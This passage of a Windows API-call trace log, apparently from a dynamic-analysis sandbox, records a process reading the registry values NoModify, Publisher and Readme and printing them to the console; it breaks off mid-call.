[0148.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.607] GetConsoleOutputCP () returned 0x1b5 [0148.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0148.607] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.607] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.607] __iob_func () returned 0x7fefd702a80 [0148.607] _fileno (_File=0x7fefd702ab0) returned 1 [0148.607] _errno () returned 0xc4bb0 [0148.607] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.607] _errno () returned 0xc4bb0 [0148.607] GetFileType (hFile=0x50) returned 0x1 [0148.607] lstrlenW (lpString=" ") returned 4 [0148.607] GetConsoleOutputCP () returned 0x1b5 [0148.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.607] GetConsoleOutputCP () returned 0x1b5 [0148.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.608] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.608] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.608] __iob_func () returned 0x7fefd702a80 [0148.608] _fileno (_File=0x7fefd702ab0) returned 1 [0148.608] _errno () returned 0xc4bb0 [0148.608] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.608] _errno () returned 0xc4bb0 [0148.608] GetFileType (hFile=0x50) returned 0x1 [0148.608] lstrlenW (lpString="REG_DWORD") returned 9 [0148.608] GetConsoleOutputCP () returned 0x1b5 [0148.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.608] GetConsoleOutputCP () returned 0x1b5 [0148.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.608] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.608] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.608] __iob_func () returned 0x7fefd702a80 [0148.608] _fileno (_File=0x7fefd702ab0) returned 1 [0148.608] _errno () returned 0xc4bb0 [0148.608] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.608] _errno () returned 0xc4bb0 [0148.608] GetFileType (hFile=0x50) returned 0x1 [0148.608] lstrlenW (lpString=" ") returned 4 [0148.608] GetConsoleOutputCP () returned 0x1b5 [0148.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.609] GetConsoleOutputCP () returned 0x1b5 [0148.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.609] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.609] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.609] __iob_func () returned 0x7fefd702a80 [0148.609] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.609] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.609] _fileno (_File=0x7fefd702ab0) returned 1 [0148.609] _errno () returned 0xc4bb0 [0148.609] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.609] _errno () returned 0xc4bb0 [0148.609] GetFileType (hFile=0x50) returned 0x1 [0148.609] lstrlenW (lpString="0x1") returned 3 [0148.609] GetConsoleOutputCP () returned 0x1b5 [0148.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.609] GetConsoleOutputCP () returned 0x1b5 [0148.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.609] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.609] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.610] __iob_func () returned 0x7fefd702a80 [0148.610] _fileno (_File=0x7fefd702ab0) returned 1 [0148.610] _errno () returned 0xc4bb0 [0148.610] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.610] _errno () returned 0xc4bb0 [0148.610] GetFileType (hFile=0x50) returned 0x1 [0148.610] lstrlenW (lpString="\n") returned 1 [0148.610] GetConsoleOutputCP () returned 0x1b5 [0148.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.610] GetConsoleOutputCP () returned 0x1b5 [0148.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.610] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.610] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.610] GetProcessHeap () returned 0x2e0000 [0148.610] GetProcessHeap () returned 0x2e0000 [0148.610] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.610] GetProcessHeap () returned 0x2e0000 [0148.610] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.610] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.610] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.610] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0148.610] GetProcessHeap () returned 0x2e0000 [0148.610] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0148.610] GetProcessHeap () returned 0x2e0000 [0148.610] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.610] GetProcessHeap () returned 0x2e0000 [0148.611] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.611] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0148.611] __iob_func () returned 0x7fefd702a80 [0148.611] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.611] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.611] _fileno (_File=0x7fefd702ab0) returned 1 [0148.611] _errno () returned 0xc4bb0 [0148.611] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.611] _errno () returned 0xc4bb0 [0148.611] GetFileType (hFile=0x50) returned 0x1 [0148.611] lstrlenW (lpString=" ") returned 4 [0148.611] GetConsoleOutputCP () returned 0x1b5 [0148.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.611] GetConsoleOutputCP () returned 0x1b5 [0148.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.611] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.611] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.611] lstrlenW (lpString="Publisher") returned 9 [0148.611] __iob_func () returned 0x7fefd702a80 [0148.611] _fileno (_File=0x7fefd702ab0) returned 1 [0148.611] _errno () returned 0xc4bb0 [0148.611] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.611] _errno () returned 0xc4bb0 [0148.611] GetFileType (hFile=0x50) returned 0x1 [0148.611] lstrlenW (lpString="Publisher") returned 9 [0148.611] GetConsoleOutputCP () returned 0x1b5 [0148.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.612] GetConsoleOutputCP () returned 0x1b5 [0148.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0148.612] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.612] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.612] __iob_func () returned 0x7fefd702a80 [0148.612] _fileno (_File=0x7fefd702ab0) returned 1 [0148.612] _errno () returned 0xc4bb0 [0148.612] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.612] _errno () returned 0xc4bb0 [0148.612] GetFileType (hFile=0x50) returned 0x1 [0148.612] lstrlenW (lpString=" ") returned 4 [0148.612] GetConsoleOutputCP () returned 0x1b5 [0148.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.612] GetConsoleOutputCP () returned 0x1b5 [0148.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.612] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.612] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.612] __iob_func () returned 0x7fefd702a80 [0148.612] _fileno (_File=0x7fefd702ab0) returned 1 [0148.612] _errno () returned 0xc4bb0 [0148.612] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.613] _errno () returned 0xc4bb0 [0148.613] GetFileType (hFile=0x50) returned 0x1 [0148.613] lstrlenW (lpString="REG_SZ") returned 6 [0148.613] GetConsoleOutputCP () returned 0x1b5 [0148.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.613] GetConsoleOutputCP () returned 0x1b5 [0148.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.613] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.613] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.614] __iob_func () returned 0x7fefd702a80 [0148.614] _fileno (_File=0x7fefd702ab0) returned 1 [0148.614] _errno () returned 0xc4bb0 [0148.614] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.614] _errno () returned 0xc4bb0 [0148.614] GetFileType (hFile=0x50) returned 0x1 [0148.614] lstrlenW (lpString=" ") returned 4 [0148.614] GetConsoleOutputCP () returned 0x1b5 [0148.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.614] GetConsoleOutputCP () returned 0x1b5 [0148.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.614] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.614] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.614] __iob_func () returned 0x7fefd702a80 [0148.614] _fileno (_File=0x7fefd702ab0) returned 1 [0148.614] _errno () returned 0xc4bb0 [0148.614] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.614] _errno () returned 0xc4bb0 [0148.614] GetFileType (hFile=0x50) returned 0x1 [0148.614] lstrlenW (lpString="Microsoft Corporation") returned 21 [0148.614] GetConsoleOutputCP () returned 0x1b5 [0148.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0148.615] GetConsoleOutputCP () returned 0x1b5 [0148.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0148.615] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0148.615] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.615] __iob_func () returned 0x7fefd702a80 [0148.615] _fileno (_File=0x7fefd702ab0) returned 1 [0148.615] _errno () returned 0xc4bb0 [0148.615] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.615] _errno () returned 0xc4bb0 [0148.615] GetFileType (hFile=0x50) returned 0x1 [0148.615] lstrlenW (lpString="\n") returned 1 [0148.615] GetConsoleOutputCP () returned 0x1b5 [0148.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.615] GetConsoleOutputCP () returned 0x1b5 [0148.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.615] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.615] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.615] GetProcessHeap () returned 0x2e0000 [0148.615] GetProcessHeap () returned 0x2e0000 [0148.615] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.615] GetProcessHeap () returned 0x2e0000 [0148.615] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.615] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0148.615] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.616] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.616] GetProcessHeap () returned 0x2e0000 [0148.616] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.616] GetProcessHeap () returned 0x2e0000 [0148.616] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.616] GetProcessHeap () returned 0x2e0000 [0148.616] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.616] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.616] __iob_func () returned 0x7fefd702a80 [0148.616] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.616] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.616] _fileno (_File=0x7fefd702ab0) returned 1 [0148.616] _errno () returned 0xc4bb0 [0148.616] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.616] _errno () returned 0xc4bb0 [0148.616] GetFileType (hFile=0x50) returned 0x1 [0148.616] lstrlenW (lpString=" ") returned 4 [0148.616] GetConsoleOutputCP () returned 0x1b5 [0148.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.616] GetConsoleOutputCP () returned 0x1b5 [0148.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.616] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.616] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.616] lstrlenW (lpString="Readme") returned 6 [0148.616] __iob_func () returned 0x7fefd702a80 [0148.616] _fileno (_File=0x7fefd702ab0) returned 1 [0148.616] _errno () returned 0xc4bb0 [0148.617] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.617] _errno () returned 0xc4bb0 [0148.617] GetFileType (hFile=0x50) returned 0x1 [0148.617] lstrlenW (lpString="Readme") returned 6 [0148.617] GetConsoleOutputCP () returned 0x1b5 [0148.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.617] GetConsoleOutputCP () returned 0x1b5 [0148.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0148.617] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.617] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.617] __iob_func () returned 0x7fefd702a80 [0148.617] _fileno (_File=0x7fefd702ab0) returned 1 [0148.617] _errno () returned 0xc4bb0 [0148.617] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.617] _errno () returned 0xc4bb0 [0148.617] GetFileType (hFile=0x50) returned 0x1 [0148.617] lstrlenW (lpString=" ") returned 4 [0148.617] GetConsoleOutputCP () returned 0x1b5 [0148.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.617] GetConsoleOutputCP () returned 0x1b5 [0148.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.618] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.618] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.618] __iob_func () returned 0x7fefd702a80 [0148.618] _fileno (_File=0x7fefd702ab0) returned 1 [0148.618] _errno () returned 0xc4bb0 [0148.618] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.618] _errno () returned 0xc4bb0 [0148.618] GetFileType (hFile=0x50) returned 0x1 [0148.618] lstrlenW (lpString="REG_SZ") returned 6 [0148.618] GetConsoleOutputCP () returned 0x1b5 [0148.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.618] GetConsoleOutputCP () returned 0x1b5 [0148.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.618] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.618] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.618] __iob_func () returned 0x7fefd702a80 [0148.618] _fileno (_File=0x7fefd702ab0) returned 1 [0148.618] _errno () returned 0xc4bb0 [0148.618] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.618] _errno () returned 0xc4bb0 [0148.618] GetFileType (hFile=0x50) returned 0x1 [0148.618] lstrlenW (lpString=" ") returned 4 [0148.618] GetConsoleOutputCP () returned 0x1b5 [0148.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.619] GetConsoleOutputCP () returned 0x1b5 [0148.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.619] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.619] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.619] __iob_func () returned 0x7fefd702a80 [0148.619] _fileno (_File=0x7fefd702ab0) returned 1 [0148.619] _errno () returned 0xc4bb0 [0148.619] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.619] _errno () returned 0xc4bb0 [0148.619] GetFileType (hFile=0x50) returned 0x1 [0148.619] lstrlenW (lpString="") returned 0 [0148.619] __iob_func () returned 0x7fefd702a80 [0148.619] _fileno (_File=0x7fefd702ab0) returned 1 [0148.619] _errno () returned 0xc4bb0 [0148.619] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.619] _errno () returned 0xc4bb0 [0148.619] GetFileType (hFile=0x50) returned 0x1 [0148.619] lstrlenW (lpString="\n") returned 1 [0148.619] GetConsoleOutputCP () returned 0x1b5 [0148.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.619] GetConsoleOutputCP () returned 0x1b5 [0148.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.619] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.619] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.620] GetProcessHeap () returned 0x2e0000 [0148.620] GetProcessHeap () returned 0x2e0000 [0148.620] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.620] GetProcessHeap () returned 0x2e0000 [0148.620] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.620] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.620] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, 